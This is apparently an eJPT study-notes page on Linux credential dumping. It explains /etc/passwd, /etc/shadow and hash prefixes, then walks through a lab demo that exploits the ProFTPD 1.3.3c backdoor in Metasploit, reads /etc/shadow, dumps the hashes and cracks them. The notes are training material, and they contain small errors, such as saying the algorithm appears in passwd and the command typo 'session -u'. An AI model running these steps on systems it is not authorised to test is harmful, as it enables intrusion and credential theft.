> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/linux-vulnerabilities/linux-credential-dumping.md).

# Linux Credential Dumping

### Dumping Linux Password Hashes

**Linux Password Hashes**

* Linux has multi-user support and as a result, multiple users can access the system simultaneously. This can be seen as an advantage and disadvantage from a security perspective, in that , multople accounts offer multiple access vectors for attackers and therefore increase the overall risk of the server.
* All of the information for all accounts on Linux is stored in the passwd file located in: /etc/passwd
* We cannot view the passwords for the users in the passwd file because they are encrypted and the passwd file is readable by any user on the system.
* All the encrypted passwords for the users are stored in shadow file, it can be found in the following directory: /etc/shadow
* The shadow file can only be accessed and read by the root account, this is a very important security feature as it prevents other accounts on the system from accessing the hashed passwords.
* The passwd file gives us information in regards to the hashing algorithm that is being used and the password hash, this is very helpful as we are able to determine the type of hashing algorithm that is being used and its strength. We can determine this by looking at the number after the username encapsulated by the dollar symbol ($).

| Value | Hashing Algorithm |
| ----- | ----------------- |
| $1    | MD5               |
| $2    | Blowfish          |
| $5    | SHA-256           |
| $6    | SHA-512           |

**Demo: Linux Password Hashes**

```
ifconfig eth1
```

```
nmap -sV -sC <IP>
```

```
searchsploit ProFTPd-1.3.3c
```

```
msfconsole -q 
> setg RHOSTS <targetIP>
> search ProFTPd
> use exploit/unix/ftp/proftpd_133c_backdoor
> show options
> exploit
>>>> /bin/bash -i
>>>> id
^Z
> sessions 
> session -u 1
> sessions 2
>>>> sysinfo
>>>> getuid
>>>> cat /etc/shadow
> search hashdump
> use post/linux/gather/hashdump
> set session 2
> run 
```

* use auxiliary/analyze/crack\_linux to crack the password
* session -u is used to upgrade the shell in metasploit